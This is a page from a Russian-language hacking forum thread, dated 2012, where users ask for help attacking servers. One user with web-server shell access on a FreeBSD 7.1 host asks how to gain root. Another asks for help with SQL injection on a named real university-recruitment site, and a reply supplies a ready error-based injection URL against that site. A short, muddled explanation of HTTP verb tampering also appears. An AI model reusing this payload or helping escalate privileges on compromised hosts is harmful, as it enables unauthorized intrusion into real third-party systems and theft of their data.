HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2140 из 2438 « Первая < 11401640204020902130 2136 2137 2138 2139 2140 2141 2142 2143 2144 215021902240 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #21391  
Старый 30.09.2012, 22:37
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию
Цитата:
Сообщение от BigBear  
BigBear said:
Верхний левый угол - Group = , Id =
Или команда в конcоли
whoami
id
Сижу на сервере под юзером WWW

www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

Подскажите пожалуйста можна ли как-то повысить права или что интересного можна сделать на сервере? Спасибо.
 
Ответить с цитированием

  #21392  
Старый 30.09.2012, 22:41
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию
Цитата:
Сообщение от Sat-hacker  
Sat-hacker said:
Сижу на сервере под юзером WWW
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
Подскажите пожалуйста можна ли как-то повысить права или что интересного можна сделать на сервере?
Спасибо.
Пропиши в консоле uname-a и покажи что выдало.
 
Ответить с цитированием

  #21393  
Старый 30.09.2012, 23:06
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию
$ uname-a

Query did not return anything
 
Ответить с цитированием

  #21394  
Старый 30.09.2012, 23:09
smirk
Guest
Сообщений: n/a
Провел на форуме:
45774

Репутация: 26
По умолчанию
Цитата:
Сообщение от Sat-hacker  
Sat-hacker said:
$ uname-a
Query did not return anything
с пробелом надо uname -a
 
Ответить с цитированием

  #21395  
Старый 30.09.2012, 23:10
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию
FreeBSD dh01.hostmedia.net 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Mon Feb 2 17:54:17 EET 2009 root@dm1.wugluskr.org:/usr/src/sys/amd64/compile/iServer amd64
 
Ответить с цитированием

  #21396  
Старый 01.10.2012, 00:16
diny
Guest
Сообщений: n/a
Провел на форуме:
18364

Репутация: 0
По умолчанию
Расскажите про уязвимость HTTP Verb Tampering , читал мануалы. Так понял, это из GET запроса в livehttp ( мазила ) менять на POST запрос и все?

Но что то не получается...
 
Ответить с цитированием

  #21397  
Старый 02.10.2012, 01:49
Dr.Strangelove
Новичок
Регистрация: 01.12.2008
Сообщений: 26
Провел на форуме:
143670

Репутация: 10
По умолчанию
Кто поможет крутануть это дело с подзапросом (без error based)

http://www.studyinpoland.pl/ru/index.php/component/jumi/university?view=application&schoolid=68
 
Ответить с цитированием

  #21398  
Старый 02.10.2012, 03:16
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
Цитата:
Сообщение от Dr.Strangelove  
Dr.Strangelove said:
Кто поможет крутануть это дело с подзапросом (без error based)
http://www.studyinpoland.pl/ru/index.php/component/jumi/university?view=application&schoolid=68
http://www.studyinpoland.pl/ru/index.php/component/jumi/university?view=application&schoolid=68+or+1+group +by+concat(version(),floor(rand(0)*2))having+min(0 )+or+1--+

идем в раздел статей и курим до утра
 
Ответить с цитированием

  #21399  
Старый 02.10.2012, 07:11
0o Chris o0
Guest
Сообщений: n/a
Провел на форуме:
43360

Репутация: 0
По умолчанию
Цитата:
Сообщение от diny  
diny said:
Расскажите про уязвимость HTTP Verb Tampering , читал мануалы. Так понял, это из GET запроса в livehttp ( мазила ) менять на POST запрос и все?
Но что то не получается...
Насколько я понял, уязвимость заключается в неправильной настройке доступа к данным.

Например ты хочешь прочитать .htaccess, но тебе вылетает 403. Предположим, что в этом случае передается в запросе параметр name с логином юзера, и если он равен 'admin', то доступ разрешен, если нет то 403. Так вот изменив в таком запросе свой логин на 'admin', ты получишь доступ файлу.
 
Ответить с цитированием

  #21400  
Старый 02.10.2012, 23:15
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию
Помогите новичку получить root на FreeBSD 7.1-RELEASE ,не могу разобраться,спасибо.
 
Ответить с цитированием
Ответ
Страница 2140 из 2438 « Первая < 11401640204020902130 2136 2137 2138 2139 2140 2141 2142 2143 2144 215021902240 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ